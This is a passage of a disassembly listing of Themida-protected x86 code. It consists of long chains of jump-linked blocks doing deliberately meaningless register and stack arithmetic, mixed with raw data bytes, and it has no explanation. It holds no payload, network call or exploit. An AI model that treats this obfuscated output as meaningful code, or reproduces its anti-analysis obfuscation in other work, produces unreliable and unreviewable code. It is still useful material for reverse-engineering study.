3 add ecx, 0FFFFFFFFh not ecx and ecx, 50860E27h neg ecx push edx mov edx, 0A570DE4h jmp loc_5A4A68 ; --------------------------------------------------------------------------- loc_5AAB8C: ; CODE XREF: Themida_:005ABA85j pop ebp add esp, 4 mov eax, [esp] add esp, 4 push eax push ecx mov ecx, 43633456h dec ecx jge loc_599214 xor ecx, 3A726568h mov eax, ecx pop ecx pop esp loc_5AABB1: ; CODE XREF: Themida_:005AA15Cj pop ecx push edx mov edx, 6D180A2Ch add edx, 138DB867h jmp loc_5AAA29 ; --------------------------------------------------------------------------- loc_5AABC3: ; CODE XREF: Themida_:005A3449j add ch, 6Eh mov bh, ch pop ecx jmp loc_5AFDE8 ; --------------------------------------------------------------------------- loc_5AABCE: ; CODE XREF: Themida_:005ADCC3j sub esp, 4 jmp loc_5A24A8 ; --------------------------------------------------------------------------- loc_5AABD6: ; CODE XREF: Themida_:005AF507j sub bl, ch jmp loc_5A6170 ; --------------------------------------------------------------------------- loc_5AABDD: ; CODE XREF: Themida_:005AB6ADj pop esp jmp loc_5A1074 ; --------------------------------------------------------------------------- loc_5AABE3: ; CODE XREF: Themida_:005A368Ej pop edi pop ebx push edx push ecx push 4 jmp loc_59CA44 ; --------------------------------------------------------------------------- loc_5AABF1: ; CODE XREF: Themida_:loc_5A9BD6j ; DATA XREF: Themida_:005988B8o pop dword ptr [edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AABF8: ; CODE XREF: Themida_:005A096Dj shr edi, 7 sub edi, 2C13A57Eh add ebx, edi pop edi add ebp, ebx jmp loc_5AE734 ; --------------------------------------------------------------------------- loc_5AAC0B: ; CODE XREF: Themida_:005A9A26j pop ebx jmp loc_59B39A ; --------------------------------------------------------------------------- loc_5AAC11: ; CODE XREF: Themida_:005A8BF8j add dword ptr [esp], 36A35C83h pop ebp sub ebp, 36A35C83h mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub ebx, ebp push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] push eax jmp loc_5A6B3B ; --------------------------------------------------------------------------- loc_5AAC43: ; CODE XREF: Themida_:0059FB8Fj and eax, ecx jmp loc_599ED8 ; --------------------------------------------------------------------------- dw 5401h dd 0B8500424h, 508C788Fh, 8246C81h, 34CA774Bh, 8244401h dd 8244481h, 34CA774Bh, 86BE5658h, 141B03Dh, 8B082474h dd 89512434h, 4C181E1h, 83000000h, 10E904C1h db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AAC87: ; CODE XREF: Themida_:005AC136j mov ch, ah push eax mov al, ch mov dh, al pop eax push dword ptr [esp] pop ecx push ecx jmp loc_59C0A2 ; --------------------------------------------------------------------------- loc_5AAC99: ; CODE XREF: Themida_:005A07E9j push edx mov edx, 38h mov ecx, edx pop edx add ecx, edx jmp loc_5AF595 ; --------------------------------------------------------------------------- loc_5AACA9: ; CODE XREF: Themida_:0059B613j mov ebp, 359C3E44h sub edx, ebp pop ebp add ecx, edx jmp loc_5A4570 ; --------------------------------------------------------------------------- dd 7A06EE81h, 0C6815BB2h, 4F8C5174h, 43E9C601h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AACCB: ; CODE XREF: Themida_:005AE7E4j push ecx mov ecx, 6F5F05CCh sub esi, 22B039BAh sub esi, ecx add esi, 22B039BAh jmp loc_5AA680 ; --------------------------------------------------------------------------- loc_5AACE4: ; CODE XREF: Themida_:0059B8ABj add ebx, 0AC5F354Bh sub ebp, 69107429h add ebp, ebx add ebp, 69107429h mov ebx, [esp] add esp, 4 push 339Ah jmp loc_5ABB17 ; --------------------------------------------------------------------------- loc_5AAD0B: ; CODE XREF: Themida_:00599FCDj add ebp, esi pop esi push edx sub esp, 4 mov [esp], ebp push 5DF92554h mov ebp, [esp] jmp loc_5A8B76 ; --------------------------------------------------------------------------- loc_5AAD25: ; CODE XREF: Themida_:005A6FD9j sub ebp, 0BC0DFA67h or ebp, 94D415Bh jo loc_5ADC8C sub ebp, 0C0F6985h jg loc_598FD7 or ebp, 28287460h or ebp, 16427A2Eh loc_5AAD4F: ; CODE XREF: Themida_:0059BDE1j sub edi, 6E1F2739h jmp loc_59C254 ; --------------------------------------------------------------------------- dw 0E981h dd 39A2348Fh, 0A93E860Fh, 0E981FFFFh, 47EA89E4h, 15A9BD55h dd 0D5F72256h, 0FFD428E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AAD79: ; CODE XREF: Themida_:005AF8C6j push edx mov edx, 36DD2F43h mov edi, edx jmp loc_5AEB19 ; --------------------------------------------------------------------------- loc_5AAD86: ; CODE XREF: Themida_:005A5034j sub esp, 4 mov [esp], ebx jmp loc_5A9AFB ; --------------------------------------------------------------------------- loc_5AAD94: ; CODE XREF: Themida_:005ADCE2j add ecx, 4 xchg ecx, [esp] pop esp push eax mov eax, 629D3F7Eh jmp loc_5AAE89 ; --------------------------------------------------------------------------- loc_5AADA6: ; CODE XREF: Themida_:005A94E8j pop esp jmp loc_59C66E ; --------------------------------------------------------------------------- loc_5AADAC: ; CODE XREF: Themida_:0059F037j ; Themida_:005A0B5Cj push ebp mov ebp, 1DF79E8h xchg edx, ebp not edx xchg edx, ebp shr ebp, 8 push 4DEDh jmp loc_5A5A10 ; --------------------------------------------------------------------------- loc_5AADC5: ; CODE XREF: Themida_:0059EFE1j dec ecx push eax push ebx jmp loc_5AE44F ; --------------------------------------------------------------------------- loc_5AADCD: ; CODE XREF: Themida_:005A6FF6j push 6A13h jmp loc_59BAD2 ; --------------------------------------------------------------------------- loc_5AADD7: ; CODE XREF: Themida_:0059D612j add ebx, 698D181Eh sub ebx, 79074905h pop ebp jmp loc_5A787B ; --------------------------------------------------------------------------- db 81h, 0F1h, 92h dd 8139BE14h, 73AB39E9h, 8BCD89FBh, 0C483240Ch, 1EF7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AAE02: ; CODE XREF: Themida_:0059F0FFj mov ecx, esp push 65F1h mov [esp], esi mov esi, 688341CDh not esi dec esi neg esi neg esi push edi mov edi, 6F59089Fh shr edi, 4 xor edi, 7FE02FAEh inc edi add edi, 1E66FF05h sub esi, edi pop edi add ecx, esi pop esi jmp loc_59AFD4 ; --------------------------------------------------------------------------- loc_5AAE39: ; CODE XREF: Themida_:005AE01Ej sub ecx, 6572E18h sub ecx, 0BF4A598Ch mov eax, ecx pop ecx add esi, eax pop eax add esi, 6DA02F8Ch and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 0Bh sub esp, 4 mov [esp], ebx push 4414h mov [esp], esi jmp loc_59B1CE ; --------------------------------------------------------------------------- loc_5AAE72: ; CODE XREF: Themida_:005AF5B7j sub bl, 1Fh mov edx, [esp] add esp, 4 add bl, al push cx push eax push edx jmp loc_5AF81A ; --------------------------------------------------------------------------- loc_5AAE89: ; CODE XREF: Themida_:005AADA1j sub eax, 0AD04AA4h shl eax, 1 or eax, 59A01191h sub eax, 0A783EEC8h sub edx, eax pop eax sub edx, 48CF1465h jmp loc_5989A3 ; --------------------------------------------------------------------------- dword_5AAEA8 dd 4D7F6866h, 1169E9h db 0 ; --------------------------------------------------------------------------- loc_5AAEB1: ; CODE XREF: Themida_:005A82E4j ; Themida_:005A84CEj ... jz loc_5A4F7A jmp loc_5A504C ; --------------------------------------------------------------------------- dd 0F5ED840Fh, 5305FFFEh, 0E9F37DB9h, 0FFFFA906h ; --------------------------------------------------------------------------- loc_5AAECC: ; CODE XREF: Themida_:005AA822j pop esp pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 1 and eax, edx push dword ptr [esp] pop edx push ebp mov ebp, esp push ecx jmp loc_5A216B ; --------------------------------------------------------------------------- loc_5AAEEE: ; CODE XREF: Themida_:005A6C59j add edi, 4 jmp loc_5A9E24 ; --------------------------------------------------------------------------- loc_5AAEF9: ; CODE XREF: Themida_:005A47ECj ; Themida_:005A5893j movsx cx, al push edx sub esp, 4 jmp loc_5AEDDA ; --------------------------------------------------------------------------- db 81h, 0EEh, 0CCh dd 811A330Dh, 1A0530C6h, 0E9CE2972h, 0FFFFB748h ; --------------------------------------------------------------------------- loc_5AAF1C: ; CODE XREF: Themida_:005A3D63j mov [esp], ebx mov ebx, 1F18138Dh sub edx, 4ADE1496h jmp loc_5A639C ; --------------------------------------------------------------------------- db 8Bh dd 3C892424h, 9EBE5624h, 815DCC7Ch, 3C04246Ch, 810A7729h dd 0A2042444h, 29695027h, 81042474h, 0A204246Ch, 81695027h dd 3C042444h, 5E0A7729h, 0BB53008Fh, 5DCC7C9Eh, 1C8B1801h dd 4C48324h, 0FF5912E9h, 0E9192CFFh, 0FFFF4E79h ; --------------------------------------------------------------------------- loc_5AAF7C: ; CODE XREF: Themida_:loc_59B164j ; Themida_:005AB464j push edi push esi jmp loc_5A1393 ; --------------------------------------------------------------------------- loc_5AAF83: ; CODE XREF: Themida_:005A8D06j add edx, 0BFD2B27h jns loc_5A4056 add edx, 0FFFFFFFFh jmp loc_5A4F65 ; --------------------------------------------------------------------------- db 4Fh dd 6853FE87h, 459539Dh, 2D42E9h, 4C48100h, 5000000h, 4 dd 4826E9h, 0D2B25200h, 0FED4C280h, 41CE9CAh, 0C280FFFFh dd 8B830F5Dh, 80FFFEE2h, 0C28036EAh, 28DCB4DBh, 41AE9D4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AAFDA: ; CODE XREF: Themida_:005A4D38j sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], edi push esi mov esi, 121A3325h mov edi, 2229742Bh xor edi, esi jmp loc_59CC9A ; --------------------------------------------------------------------------- loc_5AAFFC: ; CODE XREF: Themida_:005AFE2Aj xor esi, [esp] pop esp mov [esp], esi push edi mov edi, 4F100FDBh mov esi, edi pop edi add esi, 596C3763h ja loc_59E9EE dec esi jmp loc_5A021A ; --------------------------------------------------------------------------- dw 34FFh dd 0DFFEE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AB026: ; CODE XREF: Themida_:005A5807j ; Themida_:005AF155j jnp loc_59DAB6 jmp loc_59926D ; --------------------------------------------------------------------------- db 68h, 6Bh, 50h db 0AAh, 56h ; --------------------------------------------------------------------------- loc_5AB036: ; CODE XREF: Themida_:005AE07Bj push ecx mov ecx, 76CA3DE1h xor ecx, 791B402Dh add ecx, 0F02E8238h add ebx, ecx jmp loc_5A38F9 ; --------------------------------------------------------------------------- loc_5AB04F: ; CODE XREF: Themida_:0059D9A9j mov [esp], eax push edx jmp loc_5AE13F ; --------------------------------------------------------------------------- loc_5AB058: ; CODE XREF: Themida_:005AE973j push esp pop eax add eax, 4 push esi jmp loc_5A7312 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 7CF0685Bh, 2C890000h, 4BD24h, 0EB010000h dd 0BE56555Dh, 47A04E71h, 2091C681h, 4E90C6Dh db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AB08F: ; CODE XREF: Themida_:0059EBD5j pop esi push esi mov esi, esp push edi mov edi, 2B04155Eh sub edi, 0EC67B398h sub edi, 3E9C61C2h add esi, edi mov edi, [esp] jmp loc_5A112C ; --------------------------------------------------------------------------- loc_5AB0AF: ; CODE XREF: Themida_:0059C2F7j pop ebx add ebx, 4 jmp loc_5A8664 ; --------------------------------------------------------------------------- db 29h dd 0EC815AD7h, 4, 0E9243C89h, 0FFFF5306h ; --------------------------------------------------------------------------- loc_5AB0CC: ; CODE XREF: Themida_:005A8598j dec ebx jmp loc_5A2230 ; --------------------------------------------------------------------------- loc_5AB0D2: ; CODE XREF: Themida_:005A0CC5j push ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_59F0FE ; --------------------------------------------------------------------------- dd 2404A30Fh, 0D8B9E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AB0EA: ; CODE XREF: Themida_:005A0C55j ; Themida_:005A3376j ... push dword ptr [esp] pop edx push edi mov edi, esp jmp loc_599A9F ; --------------------------------------------------------------------------- loc_5AB0F6: ; CODE XREF: Themida_:005A9D7Dj sub ecx, ebx pop ebx add ecx, 63437D2h add ecx, 5FBBF63Eh sub edx, ecx pop ecx add edx, edi add edx, 62683C38h mov edi, [esp] add esp, 4 jmp loc_5A000F ; --------------------------------------------------------------------------- loc_5AB11B: ; CODE XREF: Themida_:0059A207j xchg edi, [esp] mov esp, [esp] loc_5AB121: ; CODE XREF: Themida_:005A34A2j push 86h mov [esp], ebx jmp loc_5AEE9A ; --------------------------------------------------------------------------- loc_5AB12E: ; CODE XREF: Themida_:005A7A12j sub ebx, esi pop esi jmp loc_59C67E ; --------------------------------------------------------------------------- loc_5AB136: ; CODE XREF: Themida_:005A14ABj pop ebx push ecx mov ch, 5Eh or ch, 66h jmp loc_5AB7EE ; --------------------------------------------------------------------------- loc_5AB142: ; CODE XREF: Themida_:005A4C9Bj pop ebp push esi push ebx pop esi pop ebx not ebx xchg ebx, esi add esi, 0BCB6D27h jmp loc_59AB71 ; --------------------------------------------------------------------------- loc_5AB156: ; CODE XREF: Themida_:005AD1AFj xor edi, [esp] pop esp add esi, 0C3307626h mov edi, esi pop esi add ecx, 77257653h add ecx, edi jmp loc_5A7941 ; --------------------------------------------------------------------------- dd 4244481h, 16266AEDh, 2BD7E9h, 0D9ED8100h, 816D4F09h dd 392DB9C5h, 4E13E97Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB18E: ; CODE XREF: Themida_:005A4881j add ch, 11h pop edx jmp loc_5A3777 ; --------------------------------------------------------------------------- loc_5AB197: ; CODE XREF: Themida_:0059F41Fj pop esp pop edx sub bl, cl mov ecx, [esp] add esp, 4 sub bl, al sub esp, 4 mov [esp], ecx mov cl, 0Fh jmp loc_5ADDF0 ; --------------------------------------------------------------------------- loc_5AB1B3: ; CODE XREF: Themida_:005A0606j add ecx, 0FFFFFFFFh xchg eax, ecx push esi push esp pop esi push edx mov edx, 15545836h jmp loc_5ABDA7 ; --------------------------------------------------------------------------- db 0BEh, 2Ch, 4Eh dd 0F681393Ah, 64772D0Ch, 2EF2EF81h, 0CAE96FC3h, 1000007h dd 34FF5DEAh, 76E95924h db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AB1E7: ; CODE XREF: Themida_:005AFB3Fj jnp loc_59BF2E add edx, 8BFF2E2h jmp loc_59F480 ; --------------------------------------------------------------------------- dd 6854C988h, 64CB0A8Ah, 0FF9546E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB205: ; CODE XREF: Themida_:0059E785j mov [esp], eax jmp loc_5A060B ; --------------------------------------------------------------------------- loc_5AB20D: ; CODE XREF: Themida_:005A161Dj push ebp mov ebp, 1716607Fh add esi, ebp pop ebp add esi, 0ED1D667Bh jmp loc_5AD96A ; --------------------------------------------------------------------------- db 52h, 0B6h, 45h dd 0FF0C8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB229: ; CODE XREF: Themida_:005A08FFj neg cl jmp loc_5AEE6A ; --------------------------------------------------------------------------- loc_5AB230: ; CODE XREF: Themida_:0059E5D5j mov ch, 0D5h sub dl, ch pop cx add al, dl jmp loc_5A7E18 ; --------------------------------------------------------------------------- db 5Eh, 53h, 0BBh dd 2, 0FF187EE9h, 81E589FFh, 4C5h, 8E08E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB256: ; CODE XREF: Themida_:005A7FC8j xor edx, [esp] mov esp, [esp] mov [esp], cx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AB265: ; CODE XREF: Themida_:0059E5EFj mov eax, esi pop esi sub eax, esi push esi jmp loc_59A1CB ; --------------------------------------------------------------------------- loc_5AB270: ; CODE XREF: Themida_:005A7DB1j push ebp jmp loc_5A4843 ; --------------------------------------------------------------------------- word_5AB276 dw 77FFh ; DATA XREF: Themida_:00598788o dd 59669D1Ch, 9C2414D3h, 0FF0371E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB285: ; CODE XREF: Themida_:005A3A27j push dword ptr [esp] pop edx push ebp jmp loc_5A4BD9 ; --------------------------------------------------------------------------- loc_5AB28F: ; CODE XREF: Themida_:005A8CBEj xor edi, edx pop edx or edi, 57E254B8h sub edi, 7B57287h sub edi, 6D7B7B4Ch jmp loc_5A95CA ; --------------------------------------------------------------------------- loc_5AB2A9: ; CODE XREF: Themida_:005ADEE4j mov esi, esp jmp loc_59A7B2 ; --------------------------------------------------------------------------- loc_5AB2B0: ; CODE XREF: Themida_:005A2A91j add edx, ebp sub edx, 7381274Dh sub edx, 52143162h pop ebp sub edx, 2 jmp loc_59F121 ; --------------------------------------------------------------------------- loc_5AB2CA: ; CODE XREF: Themida_:00599603j add esp, 4 push edx mov edx, 4 add ebp, edx jmp loc_5A99AF ; --------------------------------------------------------------------------- loc_5AB2DA: ; CODE XREF: Themida_:005AA3F0j add esp, 4 push ecx mov ch, 48h push dx mov dl, 59h jmp loc_5AB38D ; --------------------------------------------------------------------------- loc_5AB2E9: ; CODE XREF: Themida_:005ABBC7j mov [esp], esi push 0FFBh mov [esp], ebx push dword ptr [esp] pop esi push eax mov eax, esp push esi mov esi, 67776AC3h push edx push ecx jmp loc_5A028A ; --------------------------------------------------------------------------- loc_5AB308: ; CODE XREF: Themida_:0059B70Fj pop ebx sub esp, 4 mov [esp], ebp mov ebp, esp push edi mov edi, 46250A8Ch shl edi, 1 add edi, 1 shl edi, 7 xor edi, 250A8C84h add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_5AC3C9 ; --------------------------------------------------------------------------- loc_5AB347: ; CODE XREF: Themida_:005ADBB8j dec eax and eax, 525D6020h inc eax jmp loc_5A1E9F ; --------------------------------------------------------------------------- loc_5AB353: ; CODE XREF: Themida_:005ACFC4j or edx, 608226DAh xor edx, 1A591075h jmp loc_59DE97 ; --------------------------------------------------------------------------- dd 5543850Fh, 4BE9FFFFh, 0FFFFFFB5h, 59042474h, 2424048Fh db 0E4h ; --------------------------------------------------------------------------- loc_5AB379: ; CODE XREF: Themida_:0059E3F8j push eax mov eax, 410A65E2h jmp loc_598E99 ; --------------------------------------------------------------------------- loc_5AB384: ; CODE XREF: Themida_:0059F7CEj add ecx, 4 push ecx jmp loc_5A08B2 ; --------------------------------------------------------------------------- loc_5AB38D: ; CODE XREF: Themida_:005AB2E4j sub ch, dl pop dx sub al, ch jmp loc_59A4F7 ; --------------------------------------------------------------------------- dd 0A2E9FD89h, 89FFFFC4h, 4C581E5h, 83000000h, 2C8704C5h dd 4875C24h, 24248B24h, 4AB0F66h, 0E4E99C24h db 0D5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AB3BF: ; CODE XREF: Themida_:005A1D34j sub edx, edi pop edi add edx, eax add edx, 22721680h jmp loc_599B16 ; --------------------------------------------------------------------------- loc_5AB3CF: ; CODE XREF: Themida_:005A08A3j ; Themida_:005ABC79j add edi, 4 xchg edi, [esp] pop esp jmp loc_5A5854 ; --------------------------------------------------------------------------- loc_5AB3DB: ; CODE XREF: Themida_:005A4CB2j pop dword ptr [esp] pop esp jmp loc_5A7653 ; --------------------------------------------------------------------------- loc_5AB3E4: ; CODE XREF: Themida_:005A1AA4j neg ebp and ebp, 2D952A5Eh xor ebp, 3650095Bh xor ebp, 16D12319h add edx, 6C973FB4h add edx, ebp push ecx mov ecx, 63271EA0h and ecx, 70052861h neg ecx and ecx, 6A933194h inc ecx shr ecx, 6 jmp loc_5A4D2E ; --------------------------------------------------------------------------- loc_5AB41D: ; CODE XREF: Themida_:005A3195j mov [esp], ebx mov bl, 82h inc bl jmp loc_5ADEF8 ; --------------------------------------------------------------------------- loc_5AB429: ; CODE XREF: Themida_:005A2C67j pop ebx jmp loc_5ADD00 ; --------------------------------------------------------------------------- loc_5AB42F: ; CODE XREF: Themida_:0059966Cj and ebx, 48836D0Ah jmp loc_5ACC0F ; --------------------------------------------------------------------------- loc_5AB43A: ; CODE XREF: Themida_:005A912Bj add edi, 2 xchg edi, [esp] mov esp, [esp] sub esp, 4 jmp loc_5A0F32 ; --------------------------------------------------------------------------- loc_5AB451: ; CODE XREF: Themida_:005A9703j and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_5A45FE push dword ptr [edi+1Ch] jmp loc_5AAF7C ; --------------------------------------------------------------------------- db 88h, 0C3h, 58h dd 88D88850h, 5A5B58C5h, 0EC283FB4h, 16DEE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB47E: ; CODE XREF: Themida_:005A5E24j mov edi, 0ABF2FCFh add edi, 18A930B0h sub ebx, edi pop edi add ebx, edx add ebx, 2368607Fh mov edx, [esp] add esp, 4 push ebp push edi jmp loc_5AA39A ; --------------------------------------------------------------------------- loc_5AB4A4: ; CODE XREF: Themida_:005A2585j pop esp shr eax, 0Bh xor ecx, eax push esi mov esi, ebx jmp loc_5A994F ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 1BE90000h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB4BF: ; CODE XREF: Themida_:00598C69j neg ch js loc_5AB936 add ch, 13h jmp loc_59B855 ; --------------------------------------------------------------------------- loc_5AB4CF: ; CODE XREF: Themida_:005A4769j xor [esp], ebx pop dword ptr [edi+24h] jmp loc_5A6A7C ; --------------------------------------------------------------------------- loc_5AB4DA: ; CODE XREF: Themida_:005AF374j push eax jmp loc_59D909 ; --------------------------------------------------------------------------- loc_5AB4E0: ; CODE XREF: Themida_:005AD9D2j pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_5A72C0 ; --------------------------------------------------------------------------- loc_5AB4F0: ; CODE XREF: Themida_:005AC29Ej mov ecx, ebx jmp loc_5A5C35 ; --------------------------------------------------------------------------- loc_5AB4F7: ; CODE XREF: Themida_:005ACBF7j mov esi, [esp] add esp, 4 push ebp pop ebx push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push ebp mov ebp, esp jmp loc_5A89F4 ; --------------------------------------------------------------------------- db 57h dd 0AB5B6968h, 6DBB5F1Fh, 291FAB5Bh, 243C8BFBh, 0FFED1FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB52D: ; CODE XREF: Themida_:005AE757j pop eax push edi mov edi, 534E3A5Ah sub edx, edi mov edi, [esp] add esp, 4 push eax jmp loc_5ABE7A ; --------------------------------------------------------------------------- loc_5AB542: ; CODE XREF: Themida_:00599247j mov ecx, 0F01513Bh and ecx, 6F323A21h dec ecx shl ecx, 5 add ecx, 64413F50h add esi, ecx pop ecx jmp loc_59ECA3 ; --------------------------------------------------------------------------- loc_5AB55F: ; CODE XREF: Themida_:005A2058j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 0FFFFFFFFh add ebx, ecx jmp loc_5AEE94 ; --------------------------------------------------------------------------- dd 4EC8351h, 0B8240489h, 745D6294h, 0C103E0C1h, 0E95705E8h dd 0FFFF3DBCh dword_5AB590 dd 8904EC83h, 6850242Ch, 50BF0B14h, 0FF72CCE9h ; DATA XREF: Themida_:00598770o db 0FFh ; --------------------------------------------------------------------------- loc_5AB5A1: ; CODE XREF: Themida_:005A8043j push ebp jmp loc_59EBC3 ; --------------------------------------------------------------------------- loc_5AB5A7: ; CODE XREF: Themida_:005AC7F1j and bl, 0F8h ja loc_59C18F or bl, 95h jmp loc_59CBD0 ; --------------------------------------------------------------------------- dd 5C240C87h ; --------------------------------------------------------------------------- loc_5AB5BC: ; CODE XREF: Themida_:0059D408j add esp, 4 push ebp mov ebp, 7D703983h push 0 sub [esp], ebp pop ebp shr ebp, 6 sub ebp, 481D180Bh xor ebp, 95B273ECh sub ebx, ebp jmp loc_5AD0D1 ; --------------------------------------------------------------------------- loc_5AB5E7: ; CODE XREF: Themida_:005A1BDAj shl edi, 2 sub edi, 1724F75Ch jmp loc_59C83B ; --------------------------------------------------------------------------- loc_5AB5F5: ; CODE XREF: Themida_:005AA92Ej sub esp, 4 mov [esp], ebx push edi mov edi, 235959BEh mov ebx, edi pop edi or ebx, 67BC2208h xor ebx, 66B80B39h xchg eax, ebx jmp loc_5AE3D4 ; --------------------------------------------------------------------------- loc_5AB619: ; CODE XREF: Themida_:0059CEA1j sub esi, 74843531h inc esi sub esi, 4CDD1B8Ch push ebx jmp loc_5AE240 ; --------------------------------------------------------------------------- loc_5AB62C: ; CODE XREF: Themida_:0059AB1Ej push 64E0h jmp loc_5A307A ; --------------------------------------------------------------------------- loc_5AB636: ; CODE XREF: Themida_:loc_59C69Fj jmp loc_59D080 ; --------------------------------------------------------------------------- loc_5AB63B: ; CODE XREF: Themida_:005A1512j xor ebp, [esp] mov esp, [esp] mov [esp], esi push ebx mov ebx, eax mov esi, ebx mov ebx, [esp] jmp loc_5AF8CB ; --------------------------------------------------------------------------- loc_5AB651: ; CODE XREF: Themida_:0059976Cj add edx, 7C3C4A60h pop esi push ebx push edx jmp loc_5ACC47 ; --------------------------------------------------------------------------- loc_5AB65F: ; CODE XREF: Themida_:0059CB7Ej add esi, 4 push ecx jmp loc_5A3EFC ; --------------------------------------------------------------------------- loc_5AB66B: ; CODE XREF: Themida_:005A8DC8j pop ebx sub dl, 0CEh mov bh, dl mov edx, [esp] add esp, 4 push ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp sub ecx, 2 jmp loc_5A9AEE ; --------------------------------------------------------------------------- loc_5AB68B: ; CODE XREF: Themida_:005ADBDDj pop edx mov edi, [esp] add esp, 4 not edi xchg edi, edx xchg edx, edi xchg edi, [esp] mov eax, [esp] jmp loc_59CDBD ; --------------------------------------------------------------------------- loc_5AB6A3: ; CODE XREF: Themida_:005A4A63j pop ebp sub edi, 4 xchg edi, [esp] jmp loc_5AABDD ; --------------------------------------------------------------------------- loc_5AB6B2: ; CODE XREF: Themida_:005AAB2Fj neg ebx shr ebx, 3 jmp loc_5A4B7C ; --------------------------------------------------------------------------- dd 0F381D3F7h, 0FCA513DAh, 0FF2FE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB6C9: ; CODE XREF: Themida_:005ADCB6j add ebx, ebp jmp loc_5A39DE ; --------------------------------------------------------------------------- loc_5AB6D0: ; CODE XREF: Themida_:0059EA12j mov [esp], eax mov eax, 2 jmp loc_59DB7C ; --------------------------------------------------------------------------- loc_5AB6DD: ; CODE XREF: Themida_:005A24D6j pop eax add dword ptr [esp+4], 64587624h sub dword ptr [esp+4], 245F52DAh sub dword ptr [esp+4], 6E922586h add [esp+4], ebp add dword ptr [esp+4], 6E922586h add dword ptr [esp+4], 245F52DAh sub dword ptr [esp+4], 64587624h pop ebp pop esi push ebp mov ebp, 4 add esi, 425445DBh add esi, ebp jmp loc_5AF2FC ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 8704EB83h, 895C241Ch, 74FF240Ch, 34FF0424h dd 1DE95924h, 0F6000030h, 0C8F680D6h, 0F0885053h, 0FFFD14E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB755: ; CODE XREF: Themida_:0059C339j ; Themida_:005A3C17j sub al, 67h sub al, 0D9h jmp loc_5A129D ; --------------------------------------------------------------------------- dw 0C283h dd 4AB4E904h, 335AFFFFh, 1C31241Ch, 241C3324h, 8924248Bh dd 74FF2434h, 8F5E0424h, 248B2404h, 24040024h, 0D219E99Ch dd 0C680FFFEh, 0E9CE3001h, 0FFFFD1A5h, 66D6CBFh, 4F78144h dd 0E902877Fh, 0FFFEDF7Fh ; --------------------------------------------------------------------------- loc_5AB7A4: ; CODE XREF: Themida_:0059E522j mov dh, cl mov ecx, [esp] add esp, 4 xor dh, 0C9h jmp loc_5AD08F ; --------------------------------------------------------------------------- loc_5AB7B7: ; CODE XREF: Themida_:0059BC75j push ecx push eax mov ah, 0D5h mov cl, ah pop eax mov bl, 0B9h sub bl, cl jmp loc_5AA996 ; --------------------------------------------------------------------------- loc_5AB7C7: ; CODE XREF: Themida_:005A16D9j push ebx mov bh, 47h jmp loc_5A0B1B ; --------------------------------------------------------------------------- loc_5AB7CF: ; CODE XREF: Themida_:0059F7E8j add eax, 22A52BF9h push dword ptr [esp] pop ebp push edi jmp loc_5A470D ; --------------------------------------------------------------------------- dw 0D188h dd 0B98FE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB7E6: ; CODE XREF: Themida_:0059A6EFj mov dh, al pop eax jmp loc_5A2710 ; --------------------------------------------------------------------------- loc_5AB7EE: ; CODE XREF: Themida_:005AB13Dj inc ch dec ch sub esp, 4 mov [esp], edx mov dh, 9Eh sub ch, 11h jmp loc_5A487F ; --------------------------------------------------------------------------- loc_5AB805: ; CODE XREF: Themida_:005AE2D2j push edi push esp pop edi push edx mov edx, 2D774D79h not edx jmp loc_5AE03E ; --------------------------------------------------------------------------- loc_5AB815: ; CODE XREF: Themida_:005A5410j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5A7F04 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 53E90000h, 1FFFFFFh, 95E95DEAh db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AB83F: ; CODE XREF: Themida_:0059B54Dj ; Themida_:0059ED38j pop dx shl dx, 6 shr dx, 2 shr dx, 4 xor dx, 3D57h and bx, dx jmp loc_5AA0A3 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 243C875Eh, 0FEE281E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB869: ; CODE XREF: Themida_:005A65ABj and dword ptr [edx+38h], 371A3221h jnb loc_5A8A8F or dword ptr [edx+38h], 43762E44h jmp loc_5A8F01 ; 